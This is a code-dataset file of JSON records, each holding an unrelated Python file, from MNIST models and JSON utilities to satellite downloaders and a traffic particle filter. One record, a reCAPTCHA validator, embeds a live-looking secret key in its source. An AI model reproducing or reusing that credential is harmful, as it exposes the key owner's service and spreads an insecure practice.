+{"seq_id":"467209923","text":"import urllib.request, json\r\nfrom datetime import date\r\nimport time as ctime\r\n\r\ndef readJSON():\r\n f = open('dataset/user.json', 'r')\r\n user = json.load(f)\r\n return user\r\n\r\ndef updateJSON(JSON):\r\n f = open('dataset/user.json', 'w')\r\n f.write(json.dumps(JSON, ensure_ascii=False, indent=2))\r\n \r\ndef send_message(msg,APIKey):\r\n url = \"https://api.apigw.smt.docomo.ne.jp/naturalChatting/v1/dialogue?APIKEY=\"\r\n url += APIKey\r\n method = \"POST\"\r\n user = readJSON()\r\n time = date.today().isoformat()+\" \"+ctime.ctime(ctime.time()).split(' ')[4]\r\n obj = {\r\n \"language\": \"ja-JP\",\r\n \"botId\": \"Chatting\",\r\n \"appId\": user['appid'],\r\n \"voiceText\": msg,\r\n \"clientData\":{\r\n \"option\":{\r\n \"nickname\":user['user']['name'],\r\n \"nicknameY\":user['user']['yomi']\r\n }\r\n },\r\n \"appRecvTime\" : user['last_time'],\r\n \"appSendTime\" : time\r\n }\r\n json_data = json.dumps(obj).encode(\"utf-8\")\r\n headers = {\"Content-Type\" : \"application/json;charset=UTF-8\"}\r\n\r\n request = urllib.request.Request(url, data=json_data, headers=headers, method=method)\r\n with urllib.request.urlopen(request) as response:\r\n response_body = response.read().decode(\"utf-8\")\r\n res = json.loads(response_body)\r\n user['last_time'] = time\r\n updateJSON(user)\r\n return res['systemText']['utterance']\r\n","sub_path":"_request.py","file_name":"_request.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"13101430","text":"from keras.models import Model\nfrom keras.layers import Input, Dense, Conv2D, MaxPool2D, Flatten\nfrom keras.optimizers import SGD\nfrom keras.losses import categorical_crossentropy\nfrom data.data_loading.load_mnist import load_mnist_2d_arr\n\n\ndef get_model(input_width=28, input_height=28, input_depth=1, learning_rate=0.001, classes=10):\n\n input_layer = Input(shape=(input_width, input_height, input_depth))\n layer1 = Conv2D(16, (7, 7), activation='relu', padding='same')(input_layer)\n layer2 = Conv2D(32, (5, 5), activation='relu', padding='same')(layer1)\n max_pool_lay2 = MaxPool2D((2, 2))(layer2)\n layer3 = Conv2D(32, (5, 5), activation='relu', padding='same')(max_pool_lay2)\n layer4 = Conv2D(16, (3, 3), activation='relu', padding='same')(layer3)\n max_pool_lay3 = MaxPool2D((2, 2))(layer4)\n flat = Flatten()(max_pool_lay3)\n layer5 = Dense(32, activation='relu')(flat)\n output_layer = Dense(classes, activation='softmax')(layer5)\n\n model = Model(inputs=input_layer, outputs=output_layer)\n\n optimizer = SGD(lr=learning_rate)\n\n model.compile(optimizer=optimizer, loss=categorical_crossentropy, metrics=['accuracy', 'mse'])\n return model\n\n\ndef main():\n (x_train, y_train), (x_test, y_test) = load_mnist_2d_arr(False)\n print(x_train.shape)\n print(y_train.shape)\n model = get_model()\n model.summary()\n model.fit(x_train, y_train, epochs=1)\n res = model.evaluate(x_test, y_test)\n print(res)\n\n\nif __name__ == '__main__':\n main()\n\n# Results ~96% accuracy on testing set, unseen during training process\n\n# End of file\n","sub_path":"neural_networks/models/direct_models/convolutional_neural_network.py","file_name":"convolutional_neural_network.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"474425735","text":"# -*- coding: utf-8 -*-\n\nimport json\n\n\nclass JsonUtils:\n def __init__(self):\n pass\n\n def json_diff(self, json1, json2, *args):\n \"\"\"\n json 对比工具 json1 和 json2 可以为 json 字符串 或者 json数组 或者 json 对象, 忽略键值 可以有多个\n | json_diff | json1 | json2 | ignorekey1 | ignorekey2 | ...\n \"\"\"\n if isinstance(json1, str):\n try:\n json1 = json.loads(json1)\n except Exception:\n raise Exception(\"参数一 解析json 失败\")\n\n if isinstance(json2, str):\n try:\n json2 = json.loads(json2)\n except Exception:\n raise Exception(\"参数二 解析json 失败\")\n\n error = []\n\n if isinstance(json1, dict) and isinstance(json2, dict):\n error += self._json_should_be_equal(json1, json2, args, level=0)\n elif isinstance(json1, list) and isinstance(json2, list):\n error += self._array_should_be_equal(json1, json2, args, level=0)\n else:\n raise Exception('两个参数类型不一致')\n if error:\n error[0] = \"\\t\" + error[0]\n msg = \"\\n存在以下错误:\\n\" + \"\\n\\t\".join(error)\n raise Exception(msg)\n\n def _json_should_be_equal(self, json1, json2, args, level=0):\n error, keys = self._keys_should_be_equal(json1, json2, args, level)\n error += self._key_values_should_be_equal(keys, json1, json2, args, level)\n return error\n\n def _keys_should_be_equal(self, json1, json2, args, level):\n\n error = []\n try:\n keys1 = json1.keys()\n except Exception:\n error += [\"{}json对象一中这项是 基本数据类型\".format(level * '\\t')]\n return error, []\n try:\n keys2 = json2.keys()\n except Exception:\n error += [\"{}json对象二中这项是 基本数据类型\".format(level * '\\t')]\n return error, []\n\n miss1 = [k for k in keys2 if k not in json1 and k not in args]\n miss2 = [k for k in keys1 if k not in json2 and k not in args]\n\n if miss1:\n error += ['{}json对象一 缺少以下键值: {}'.format(\"\\t\" * level, ', '.join(miss1))]\n if miss2:\n error += ['{}json对象二 缺少以下键值: {}'.format(\"\\t\" * level, ', '.join(miss2))]\n # 集合差集运算\n key_need_compare = list(set(keys1).difference(set(miss2)).difference(set(miss1)).difference(args))\n key_need_compare.sort()\n return error, key_need_compare\n\n def _key_values_should_be_equal(self, keys, json1, json2, args, level):\n error = []\n for key in keys:\n if isinstance(json1[key], dict):\n json_error = self._json_should_be_equal(json1[key], json2[key], args, level + 1)\n if json_error:\n json_error.insert(0, \"{}子json对象 {} 中 :\".format(level * '\\t', key))\n error += json_error\n\n elif isinstance(json1[key], list):\n list_error = self._array_should_be_equal(json1[key], json2[key], args, level + 1)\n if list_error:\n list_error.insert(0, \"{}子json数组 {} 中 :\".format(level * '\\t', key))\n error += list_error\n else:\n if json1[key] != json2[key]:\n error += ['{}键 {} : {} != {}'.format(level * '\\t', key, json1[key], json2[key])]\n return error\n\n def _array_should_be_equal(self, arr1, arr2, args, level=0):\n error = []\n try:\n len1 = len(arr1)\n except Exception:\n error += [\"{}数组一中这项是 基本数据类型\".format(level * '\\t')]\n return error\n try:\n len2 = len(arr2)\n except Exception:\n error += [\"{}数组二中这项是 基本数据类型\".format(level * '\\t')]\n return error\n\n if len1 != len2:\n error += [\"{}数组一长度 {} ,数组二长度 {} 长度不等\".format(level * '\\t', len1, len2)]\n\n len_need_compare = len1 if len1 < len2 else len2\n\n for index in range(len_need_compare):\n if isinstance(arr1[index], dict):\n json_error = self._json_should_be_equal(arr1[index], arr2[index], args, level + 1)\n if json_error:\n json_error.insert(0, \"{}数组第 {} 项中 此项为json对象 :\".format(level * '\\t', index + 1))\n error += json_error\n\n elif isinstance(arr1[index], list):\n list_error = self._array_should_be_equal(arr1[index], arr2[index], args, level + 1)\n if list_error:\n list_error.insert(0, \"{}数组第 {} 项中 此项为json数组 :\".format(level * '\\t', index + 1))\n error += list_error\n\n else:\n if arr1[index] != arr2[index]:\n error += ['{}数组第 {} 项 不相等 : {} != {}'.format(level * '\\t', index + 1, arr1[index], arr2[index])]\n return error\n\n def format_json(self, json0, **kw):\n \"\"\"\n | ${new}= | format_json | json_object OR json_str | key1 = json_object OR json_str OR list_object OR list_str | key2 = ...\n \"\"\"\n error = []\n # 深拷贝 json对象过来 json_diff 工具不需要拷贝 是因为 他只是比较而不涉及修改操作\n if isinstance(json0, str) and (json0[0] == \"{\" and json0[-1] == \"}\"):\n try:\n json1 = json.loads(json0)\n except:\n error += [\"参数一为字符串解析json失败\"]\n elif isinstance(json0, dict):\n json1 = json.loads(json.dumps(json0))\n else:\n error += [\"参数一 非 json对象 或者 json字符串\"]\n\n # 如果上面 执行的是最后一个 else 语句 那么 下面的逻辑不会执行的\n if isinstance(json1, dict):\n for key in kw:\n if key in json1:\n if isinstance(kw[key], str) and (kw[key][0] == \"{\" and kw[key][-1] == \"}\"):\n try:\n kw[key] = json.loads(kw[key])\n except Exception as e:\n print(e)\n error += [\"{}键的值 解析 json object 失败\".format(key)]\n if isinstance(kw[key], str) and (kw[key][0] == \"[\" and kw[key][-1] == \"]\"):\n try:\n kw[key] = json.loads('{\"arr\":' + kw[key] + \"}\")[\"arr\"]\n except Exception as e:\n print(e)\n error += [\"{}键的值 解析 json array 失败\".format(key)]\n json1[key] = kw[key]\n else:\n error += [\"参数一中不存在这个键: {} 请检查是否写错\".format(key)]\n\n if error:\n msg = \"\\n\".join(error)\n raise Exception(msg)\n else:\n return json.dumps(json1, ensure_ascii=False)\n","sub_path":"MWJSON/jsonutils.py","file_name":"jsonutils.py","file_ext":"py","file_size_in_byte":7108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"22518367","text":"import sys\nimport re\n\nGET = ['2L','2R','3L','3R','4','X']\n\nwith open(sys.argv[1]) as f:\n for i in range(5):\n f.readline()\n for line in f:\n items = line.split()\n if items[2] == 'gene' and items[0] in GET:\n chrom = items[0]\n start = items[3]\n stop = items[4]\n strand = items[6]\n name = re.sub(r'[\"\\\\;]','',items[9])\n sys.stdout.write('%s\\t%s\\t%s\\t%s\\t%s\\n'\n % (chrom,start,stop,strand,name))\n ","sub_path":"extract_gene.py","file_name":"extract_gene.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"22537695","text":"# Original script by Joshua Walker's MODIS_downloader file (jbw36@bath.ac.uk - Feb 2019)\n\nimport urllib.request\nimport os\nimport sys\nimport urllib.request, json \nimport numpy as np\n\nbase_cloud_mask_url = 'https://ladsweb.modaps.eosdis.nasa.gov/archive/allData/61/MOD35_L2/'\nbase_latlon_url = 'https://ladsweb.modaps.eosdis.nasa.gov/archive/allData/61/MOD03/'\nyear = '2001'\n\ninputs = sys.argv\nif (len(inputs) != 3):\n ValueError(\"not enough input arguments\")\n\nprint(str(inputs[1]) + \" \" + str(inputs[2]))\ndays = np.arange(int(inputs[1]), int(inputs[2]), 1)\n\n\nfor day in days:\n print (\"starting downloads for day \" + str(day))\n yearday = year + '/' + str(day).rjust(3,'0') + '/'\n #make directory for this year and day\n directory = 'cloud_data/' + yearday\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n ################ DOWNLOAD LAT LON ###################\n #Make directory for cloud masks\n latlon_dir = directory + '/LatLon/'\n if not os.path.exists(latlon_dir):\n os.mkdir(latlon_dir)\n #Set url for this data\n url = base_latlon_url + yearday\n\n # Get JSON File\n while True:\n try:\n with urllib.request.urlopen(url+'.json') as jsonurl:\n data = json.loads(jsonurl.read().decode())\n except Exception:\n print(\"Connection Failed- retrying\")\n continue\n break\n\n #Download Each Filename\n for entry in data:\n filename = entry['name']\n while True:\n try:\n urllib.request.urlretrieve(url+filename, latlon_dir + filename) \n except Exception:\n print(\"Download Failed- retrying\")\n continue\n break\n print( 'Downloaded cloud mask file: ' + filename)\n print('Downloaded all latlon data')\n\n ################ DOWNLOAD CLOUD MASKS ###################\n #Make directory for cloud masks\n cloud_masks_dir = directory + '/Masks/'\n if not os.path.exists(cloud_masks_dir):\n os.mkdir(cloud_masks_dir)\n #Set url for this data\n url = base_cloud_mask_url + yearday\n\n # Get JSON File\n while True:\n try:\n with urllib.request.urlopen(url+'.json') as jsonurl:\n data = json.loads(jsonurl.read().decode())\n except Exception:\n print(\"Connection Failed- retrying\")\n continue\n break\n\n #Download Each Filename\n for entry in data:\n filename = entry['name']\n while True:\n try:\n urllib.request.urlretrieve(url+filename, cloud_masks_dir + filename)\n except Exception:\n print(\"Download Failed- retrying\")\n continue\n break\n print( 'Downloaded cloud mask file: ' + filename)\n print('Downloaded all cloud mask data')\n\n print(\"Finished Masks\") \n\n print (\"DAY \" + str(day) + \": DOWNLOAD COMPLETE\")\n\n","sub_path":"1-downloader/dlscript.py","file_name":"dlscript.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"355660632","text":"from dataclasses import dataclass\nfrom dataclasses import asdict as dataclasses_dict\n\n\nclass BaseModel(object):\n def to_dict(self):\n return dataclasses_dict(self)\n\n def to_dict_list(self):\n return {k: [v] for k, v in self.to_dict().items()}\n\n\n@dataclass(frozen=True)\nclass Repository(BaseModel):\n nom: str\n organisation_nom: str\n plateforme: str\n repertoire_url: str\n description: str\n est_fork: bool\n est_archive: bool\n date_creation: str\n derniere_mise_a_jour: str\n derniere_modification: str\n page_accueil: str\n nombre_stars: int\n nombre_forks: int\n licence: str\n nombre_issues_ouvertes: int\n langage: str\n topics: str\n software_heritage_exists: bool\n software_heritage_url: str\n\n\n@dataclass(frozen=True)\nclass Organisation(BaseModel):\n login: str\n description: str\n nom: str\n organisation_url: str\n avatar_url: str\n site_web: str\n adresse: str\n email: str\n est_verifiee: bool\n nombre_repertoires: int\n date_creation: str\n plateforme: str\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"431113647","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nnum_procs = np.arange(1, 33)\n\nresults = []\nfor num_proc in num_procs:\n print(num_proc)\n result = np.load(f\"real_data/ch4_time_result_{num_proc}.npy\") / num_proc\n results.append(result)\n\nresults = np.array(results)\n# plt.plot(results.T[1])\n# plt.show()\n\nseq_results = results[0]\ndist_results = results[1:]\n\nspeedup = seq_results / dist_results\n\nspeedup[speedup < 1] = np.nan\n\nplt.imshow(speedup, cmap='plasma', origin='lower', aspect='auto',\n extent=(1 - .5, 400 + .5, 2 - .5, max(num_procs) + .5))\nplt.colorbar(label='speedup')\nplt.xlabel('batch size')\nplt.ylabel('#MPI processes')\nplt.title('Real Speedup CH4')\n# plt.xticks(np.arange(20, 40 + 1, 5))\n# plt.yticks(np.arange(min(y_values), max(y_values) + 1, 4))\nplt.grid(linewidth=0.3)\nplt.tight_layout()\nplt.savefig('ch4_real.png')\nplt.show()\n","sub_path":"experiments/qmctorch/plot_real_speedup_ch4.py","file_name":"plot_real_speedup_ch4.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"419748746","text":"import os, random\n\nos.system('clear')\nprint (\"ROCK...PAPER...SCICCORS\")\nprint (\"-----------------------\\n\")\nplay_again = 'y'\n\nwhile (play_again == 'y') :\n\n best_of = input (\"Best of how many games to win ? \")\n best_of = int(best_of)\n player1_score = 0\n computer_score = 0\n game_number = 0\n\n while (player1_score <= best_of/2 and computer_score <= best_of/2):\n game_number += 1\n print(f\"Game Number: {game_number}\")\n player1_choice = input(\"Player 1: Select, rock, paper, or sciccors: \").upper()\n\n player2_index = random.randint(1,3)\n if player2_index == 1 :\n player2_choice = \"ROCK\"\n elif player2_index == 2 :\n player2_choice = \"PAPER\"\n elif player2_index == 3 :\n player2_choice = \"SCISSORS\"\n\n print(\"SHOOT...\")\n print(f\"Player 1 choice is {player1_choice}\")\n print(f\"Computer choice is {player2_choice}\")\n winner = None\n\n if player1_choice == player2_choice :\n winner = \"Draw!!!\"\n elif player1_choice == \"ROCK\" and player2_choice == \"SCISSORS\":\n winner = \"Player 1\"\n player1_score += 1\n elif player1_choice == \"PAPER\" and player2_choice == \"ROCK\":\n winner = \"Player 1\"\n player1_score += 1\n elif player1_choice == \"SCISSORS\" and player2_choice == \"PAPER\":\n winner = \"Player 1\"\n player1_score += 1\n else:\n winner = \"Computer\"\n computer_score += 1\n print(f\"The winner is: {winner}\")\n print (f\"Player 1 score is {player1_score}\")\n print (f\"Computer score is {computer_score}\")\n if player1_score > computer_score:\n print (\"Player 1 WINS !!!\")\n else :\n print (\"Computer WINS !!!\")\n play_again = input ('Would you like to play again ? (y/n) ')\n\nprint ('OK...SEE YA!')\n","sub_path":"rockpaperscissors.py","file_name":"rockpaperscissors.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"194630891","text":"\n\"\"\"\nhttps://atcoder.jp/contests/abc148/tasks/abc148_e\n\nある整数nについて,f(n) = n*f(n-2)と定める.この時,f(N)の末尾の0の個数を数える.\n\n10=5*2より,5, 2の数をそれぞれ数えればよい.\nNが奇数の時は,2がないので末尾に0はつかない.\nNが偶数の時は,2はたくさんあるので,5の個数を数えればよい.\nこれは,5で割り切れる個数,5^2で割り切れる個数,...の和である.\n\nある整数n以下の5の倍数の個数はfloor(n/5)である.このうち偶数の個数はfloor(n/5)/2である.\nよって,sum(floor(n/v)/2), v=5, 5^2, 5^3...が答えである.\n\"\"\"\n\n\nN = int(input())\n\nif N % 2 == 1:\n print(0)\nelse:\n ans = 0\n div = 1\n for _ in range(100):\n div *= 5\n ans += N // (div * 2)\n\n print(ans)\n","sub_path":"src/solutions/abc148_e.py","file_name":"abc148_e.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"144459870","text":"\n\nfrom xai.brain.wordbase.verbs._discuss import _DISCUSS\n\n#calss header\nclass _DISCUSSING(_DISCUSS, ):\n\tdef __init__(self,): \n\t\t_DISCUSS.__init__(self)\n\t\tself.name = \"DISCUSSING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"discuss\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_discussing.py","file_name":"_discussing.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"374510181","text":"import requests\nfrom schematics.exceptions import ValidationError\n\n\ndef validate_captcha(token):\n r = requests.post(\n \"https://www.google.com/recaptcha/api/siteverify\",\n {\"response\": token, \"secret\": \"6Le3Kp4UAAAAAMkPcidI-o8gDu807ZnqzLr9Axqb\"},\n )\n json = r.json()\n\n if not json[\"success\"] or json[\"score\"] < 0.5:\n raise ValidationError(\"Captcha invalid\")\n","sub_path":"backend/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519855627","text":"\"\"\"\r\ninherit the whole class of traffic env and add a particle filter estimation part\r\n\r\nTODO 3: visualization !!! (images->video)\r\n\r\nTODO (others): add parallel computing..., there is an error about the cv sequence, Plymouth E, 218 219\r\n\r\n\"\"\"\r\n\r\nfrom abc import ABC\r\nfrom scipy.stats import uniform\r\nfrom copy import deepcopy\r\nfrom estimation.car_following import DeterministicSimplifiedModel\r\nfrom traffic_envs.traffic_env import SignalizedNetwork, Link\r\nfrom traffic_envs.utils import\\\r\n generate_new_route_configuration, delete_buffer_file\r\n\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport xml.etree.ElementTree as ET\r\nimport traffic_envs.config as env_config\r\n\r\n__author__ = \"Xingmin Wang\"\r\nLIBSUMO_FLAG = False\r\n\r\n\r\n# import traci\r\nsumoBinary = env_config.sumoBinary\r\nif env_config.GUI_MODE:\r\n import traci\r\n sumoBinary += \"-gui\"\r\nelse:\r\n # use libsumo to replace traci to speed up (cannot use gui...)\r\n try:\r\n import libsumo as traci\r\n LIBSUMO_FLAG = True\r\n except ImportError:\r\n LIBSUMO_FLAG = False\r\n print(\"libsumo is not installed correctly, use traci instead...\")\r\n import traci\r\n\r\n\r\nclass EstimatedNetwork(SignalizedNetwork, ABC):\r\n def __init__(self):\r\n SignalizedNetwork.__init__(self)\r\n\r\n # number of particles\r\n self.particle_number = 200\r\n\r\n # load demand and turning ratio\r\n demand_dict, turning_dict = self._load_demand_and_turning_ratio()\r\n\r\n # add additional class of segment and pipeline\r\n self._add_link_properties(demand_dict, turning_dict)\r\n\r\n def _load_system_state(self):\r\n \"\"\"\r\n override this function to add the particle filter\r\n :return:\r\n \"\"\"\r\n print(self.time_step)\r\n SignalizedNetwork._load_system_state(self)\r\n self._sort_vehicle_within_link()\r\n # self._output_particle_posterior()\r\n self.particle_filter()\r\n\r\n def set_mode(self, actuate_control):\r\n self.actuate_control = actuate_control\r\n self._load_network_topology()\r\n\r\n # load demand and turning ratio\r\n demand_dict, turning_dict = self._load_demand_and_turning_ratio()\r\n\r\n # add additional class of segment and pipeline\r\n self._add_link_properties(demand_dict, turning_dict)\r\n\r\n def particle_filter(self):\r\n for link_id in self.links.keys():\r\n self.links[link_id].particle_forward(self.time_step)\r\n self.links[link_id].resample(self.particle_number)\r\n\r\n # left-turn spillover\r\n self.links[link_id].convert_coordinates(self.particle_number)\r\n self.link_communication()\r\n\r\n def _close_simulator(self):\r\n print(\"here\")\r\n if self._is_open:\r\n # close simulation\r\n traci.close()\r\n\r\n # output the figure\r\n if self.output_cost:\r\n self.output_network_performance()\r\n\r\n self._output_particle_time_space()\r\n\r\n # close simulator\r\n print(\"Close simulation with random seeds\", self.sumo_seed, \"done.\")\r\n\r\n # reset the is open flag\r\n self._is_open = False\r\n delete_buffer_file(self.sumo_seed)\r\n\r\n def _output_particle_time_space(self):\r\n # todo: output particle\r\n folder = env_config.output_trajs_folder\r\n if not os.path.exists(folder):\r\n os.mkdir(folder)\r\n\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n if link.link_type == \"wrong\" or link.link_type == \"sink\":\r\n continue\r\n\r\n pipelines = link.pipelines\r\n\r\n plt.figure(figsize=[14, 9])\r\n count = 0\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n\r\n plt.subplot(2, 2, count + 1)\r\n plt.title(\"Lane \" + str(pipeline.id[-1]) + \", \" + pipeline.direction +\r\n \", \" + str(np.round(pipeline.arrival_rate, 4)))\r\n plt.plot([0, self.time_step], [pipeline.start_dis, pipeline.start_dis], \"k--\")\r\n signal = pipeline.signal\r\n movement = pipeline.movement\r\n directions = pipeline.direction\r\n if directions is not None:\r\n chosen_idx = 0\r\n for i_d in range(len(directions)):\r\n if directions[i_d] != \"r\":\r\n chosen_idx = i_d\r\n break\r\n movement = self.signals[signal[chosen_idx]].movements[movement[chosen_idx]]\r\n signal_state_list = movement.state_list\r\n for i_s in range(len(signal_state_list)):\r\n if signal_state_list[i_s]:\r\n plt.plot([i_s, i_s + 1], [link.length + 7] * 2, \"g\")\r\n else:\r\n plt.plot([i_s, i_s + 1], [link.length + 7] * 2, \"r\")\r\n\r\n cv_trajs = pipeline.cv_trajs\r\n particles = pipeline.particle_history\r\n\r\n particle_t = []\r\n particle_s = []\r\n for itime in particles.keys():\r\n locations = particles[itime]\r\n particle_t += [itime] * len(locations)\r\n particle_s += locations\r\n\r\n for vid in cv_trajs.keys():\r\n [vt, vd] = cv_trajs[vid]\r\n plt.plot(vt, vd, \"-\", color=\"b\", linewidth=1)\r\n\r\n for vid in pipeline.non_cv_trajs.keys():\r\n [vt, vd] = pipeline.non_cv_trajs[vid]\r\n plt.plot(vt, vd, \"--\", color=\"b\", linewidth=1, alpha=1)\r\n plt.plot(particle_t, particle_s, \".\", color=\"k\", alpha=1.0 / self.particle_number,\r\n markersize=2)\r\n plt.xlim([0, self.time_step])\r\n plt.ylim([0, link.length + 20])\r\n count += 1\r\n plt.suptitle(link.link_id + \" \" + link.link_type)\r\n plt.show()\r\n\r\n def link_communication(self):\r\n \"\"\"\r\n update the downstream constraints\r\n\r\n TODO: the right-turn movement did not consider the potential conflict\r\n :return:\r\n \"\"\"\r\n # initiate and clean the upstream arrival\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n if link.link_type == \"source\":\r\n continue\r\n pipelines = link.pipelines\r\n for pip_id in pipelines.keys():\r\n self.links[link_id].pipelines[pip_id].upstream_arrival = [0] * self.particle_number\r\n\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n pipelines = link.pipelines\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n directions = pipeline.direction\r\n if directions is None:\r\n continue\r\n signals = pipeline.signal\r\n movements = pipeline.movement\r\n downstream_links = pipeline.downstream_links\r\n downstream_pips = pipeline.downstream_pipelines\r\n\r\n outflow = pipeline.outflow\r\n outflow_flag = outflow is not None\r\n # print(outflow)\r\n downstream_dis = {}\r\n\r\n for i_dir in range(len(directions)):\r\n downstream_pip_id = downstream_pips[i_dir]\r\n direction = directions[i_dir]\r\n tail_length = pipeline.tail_length[i_dir]\r\n signal_state = self.signals[signals[i_dir]].movements[movements[i_dir]].state_list[-1]\r\n downstream_pip = self.links[downstream_links[i_dir]].pipelines[downstream_pip_id]\r\n downstream_particles = downstream_pip.particles\r\n\r\n local_downstream_dis = [link.length + 7] * self.particle_number\r\n for ip in range(self.particle_number):\r\n if outflow_flag:\r\n if outflow[direction][ip] is not None:\r\n self.links[downstream_links[i_dir]].pipelines[downstream_pip_id].upstream_arrival[\r\n ip] = outflow[direction][ip] + 1\r\n\r\n # if the signal is green\r\n if signal_state:\r\n local_downstream_dis[ip] = 2 * link.length\r\n if len(downstream_particles[\"start\"][ip][0]) == 0:\r\n if len(downstream_pip.vehicles[0]) == 0:\r\n continue\r\n else:\r\n dis = downstream_pip.vehicles[1][0]\r\n local_downstream_dis[ip] = dis + link.length + tail_length\r\n else:\r\n local_downstream_dis[ip] = \\\r\n downstream_particles[\"start\"][ip][0][0] + link.length + tail_length\r\n\r\n downstream_dis[direction] = local_downstream_dis\r\n\r\n # dump the downstream distance to the current pipeline\r\n self.links[link_id].pipelines[pip_id].downstream_dis = downstream_dis\r\n\r\n def _add_link_properties(self, demand_dict, turning_dict):\r\n signalized_junction_list = list(self.signals.keys())\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n\r\n link.__class__ = ParticleLink\r\n link.add_attributes()\r\n\r\n pipelines = link.pipelines\r\n self.links[link_id].ingress_lanes = len(self.edges[link.edge_list[0]].lanes_list)\r\n car_following_model = DeterministicSimplifiedModel()\r\n car_following_model.free_flow_speed = link.speed\r\n self.links[link_id].car_following = car_following_model\r\n\r\n # convert the link pipeline to a class\r\n new_pipeline_dict = {}\r\n for pip_idx in pipelines.keys():\r\n lane_list = pipelines[pip_idx]\r\n pipeline_length = 0\r\n for lane_id in lane_list:\r\n lane = self.lanes[lane_id]\r\n pipeline_length += lane.length\r\n pipeline = PipeLine(lane_list[-1], lane_list, self.particle_number)\r\n pipeline.length = pipeline_length\r\n pipeline.start_dis = link.length - pipeline_length\r\n if pipeline.start_dis < 5:\r\n link.external_arrival_lanes += 1\r\n new_pipeline_dict[pipeline.id] = pipeline\r\n\r\n # there is one abnormal\r\n if len(link.segments) > 2:\r\n print(link_id, \"is not correct for the left turn pipeline...\")\r\n\r\n # load the new pipeline object to the link\r\n self.links[link_id].pipelines = new_pipeline_dict\r\n\r\n # add an additional property to the link\r\n self.links[link_id].link_type = \"internal\"\r\n\r\n if not (link.upstream_junction in signalized_junction_list):\r\n self.links[link_id].link_type = \"source\"\r\n start_edge = link.edge_list[0]\r\n\r\n if not (start_edge in demand_dict.keys()):\r\n # print(\"There is something strange here,\", link_id, \"is wrongly recognized as source link\")\r\n self.links[link_id].link_type = \"wrong\"\r\n continue # skip this wrong link!!!\r\n else:\r\n self.links[link_id].demand = demand_dict[start_edge]\r\n self.links[link_id].particle_arrival = \\\r\n (1 - self.penetration_rate) * demand_dict[start_edge] * self.relative_demand\r\n\r\n if not (link.downstream_junction in signalized_junction_list):\r\n self.links[link_id].link_type = \"sink\"\r\n continue\r\n\r\n # unless the sink is sink link, we associate it with turning ratio\r\n # initiate the turning ratio with 0\r\n self.links[link_id].left_turn = 0\r\n self.links[link_id].right_turn = 0\r\n self.links[link_id].through = 0\r\n\r\n end_edge = link.edge_list[-1]\r\n edge = self.edges[end_edge]\r\n\r\n for lane_id in edge.lanes_list:\r\n lane = self.lanes[lane_id]\r\n for downstream_lane in lane.downstream_lanes.keys():\r\n downstream_info = lane.downstream_lanes[downstream_lane]\r\n\r\n via_lane = downstream_info[\"via\"]\r\n internal_length = self.lanes[via_lane].length\r\n\r\n downstream_edge = self.lanes[downstream_lane].edge_id\r\n probability = turning_dict[end_edge][downstream_edge]\r\n\r\n self.lanes[lane_id].downstream_lanes[downstream_lane][\"prob\"] = probability\r\n pipeline_id = downstream_info[\"upstream_lane\"]\r\n if not (pipeline_id in new_pipeline_dict.keys()):\r\n exit(\"There is something wrong loading the turning ratio to the pipeline...\")\r\n\r\n if downstream_info[\"dir\"] == \"L\":\r\n downstream_info[\"dir\"] = \"l\"\r\n if downstream_info[\"dir\"] == \"s\":\r\n self.links[link_id].through = probability\r\n self.links[link_id].through_pipelines.append(pipeline_id)\r\n elif downstream_info[\"dir\"] == \"l\" or downstream_info[\"dir\"] == \"L\":\r\n self.links[link_id].left_turn = probability\r\n self.links[link_id].left_pipelines.append(pipeline_id)\r\n elif downstream_info[\"dir\"] == \"r\":\r\n self.links[link_id].right_turn = probability\r\n self.links[link_id].right_pipelines.append(pipeline_id)\r\n else:\r\n exit(\"Direction \" + str(downstream_info[\"dir\"]) + \" not recognized!!\")\r\n\r\n # dump the other information: direction, traffic light, link, etc...\r\n if new_pipeline_dict[pipeline_id].direction is None:\r\n new_pipeline_dict[pipeline_id].direction = \"\"\r\n new_pipeline_dict[pipeline_id].signal = []\r\n new_pipeline_dict[pipeline_id].movement = []\r\n new_pipeline_dict[pipeline_id].tail_length = []\r\n\r\n new_pipeline_dict[pipeline_id].direction += downstream_info[\"dir\"]\r\n new_pipeline_dict[pipeline_id].signal.append(downstream_info[\"tl\"])\r\n new_pipeline_dict[pipeline_id].movement.append(int(downstream_info[\"link_id\"]))\r\n 